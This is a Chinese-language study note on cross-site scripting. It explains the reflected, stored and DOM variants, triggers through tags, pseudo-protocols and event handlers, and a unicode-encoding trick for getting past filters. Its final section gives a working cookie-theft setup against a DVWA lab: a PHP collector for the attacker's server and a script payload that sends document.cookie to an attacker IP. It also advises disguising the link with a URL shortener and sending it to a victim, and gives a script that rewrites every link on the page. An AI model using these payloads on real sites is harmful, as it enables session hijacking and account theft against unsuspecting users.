XSS
XSS
- xss就是用户输入的传参会被当做前端代码执行
-
XSS可以做什么
- 获取cookie (不能跨域名,跨端口,跨IP) 获取cookie的代码只会在一个站点上获取,其他站点上的cookie无法获取
- 获取内网IP
- 获取浏览器保存的明文密码
- 截取网页屏幕
- 网页上的键盘记录
-
XSS种类
- 反射性xss 你提交的数据支队本次访问产生了影响
- 存储型xss 提交的数据存入了数据库,别人访问这个页面的时候就会自动获取数据
- DOM型xss 基于文档对象模型Document Object Model的一种漏洞,DOM是一个与平台、编程无关的接口,允许脚本动态的访问和更新文档内容结构样式(原本不应该出现xss的地方,但是经过JavaScript的操作之后产生了xss)
-
除法XSS的3种方法
- 标签触发
<script>alert(123)</script> <hr /> <h1>123</h1>- 伪协议
不同于网络上真实存在的协议如:http:// https:// ftp://
伪协议只有关联应用能够用 如:php:// tencent://(关联qq)
javascript: 声明url的主体是任意javascript代码 如:javascript:alert(1)
js容错率高 哪里能用执行哪里 单引号(')可以闭合双引号(")
- 事件触发方法
<img src = '1' onmouseover = alert(document.cookie)>这是在路径不正确的情况下弹框测试<input name="keyword" value="" '=""> 这是在value里面单独写一个'搞的鬼
<input name="keyword" value="" oninput="alert(1)"//'"> 这是在value里面进行双引号闭合(浏览器的特性)
<input name="keyword" value="" onfocus="alert(1) autofocus"//'">
<input name="keyword" value="" onmouseover="alert(1)"//'">
等等诸如此类
反射
- 你提交的数据成功实现了XSS,但是仅仅只是对你这次访问产生了影响,是非持久性攻击
存储
- 提交的数据存入了数据库,别人访问这个页面的时候就会继续执行恶意代码
DOM
- js中会把+变成p 也就是
<scri+t>=><script> - dom的操作
-
Document的操作 => js操作
- document.cookie
- document.body
- document.domain 返回当前文档的域名
- document.lastModified (判断页面是否是动态还是静态,动态页面打印出来的数据是会不断变化的,而静态是不会发生改变的)
- document.referrer 返回载入当前文档的文档url
- document.title 返回当前文档的标题
- document.url 返回当前文档的url
-
Document对象方法
document.write() 打印数据 --> js语句 会解析某些编码(native编码) document.write('<script>alert(1)</script>') 把里面的js语句转化成native编码才可以 document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e') // 就可以弹窗了 // 在做xss时候 被拦截了那么是不是可以通过js代码的解码功能进行绕过
-
document.write()
-
innerHTML
-
eval()
如何利用
- 利用反射性XSS获取cookie
攻击机搭建web环境,并在其目录下创建获取cookie的代码
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
在存在反射性XSS的地方打入以下代码
<script>document.location='http://自己的URL/xss/cookie.php?cookie='+document.cookie</script>
这是获取cookie的链接
http://192.168.1.113/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://192.168.1.112/xss/cookie.php?cookie='+document.cookie</script>
利用短网址进行伪装
之后把该链接发送给受害者,这样受害者在无意间就被对方获取了cookie
- 利用反射性XSS修改跳转链接
- 把存在反射性XSS的页面的所有a标签跳转的链接改变成跳转至百度的【可以自定义修改】
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++) {
link[j].href = "https://www.baidu.com";
}
}
</script>

浙公网安备 33010602011771号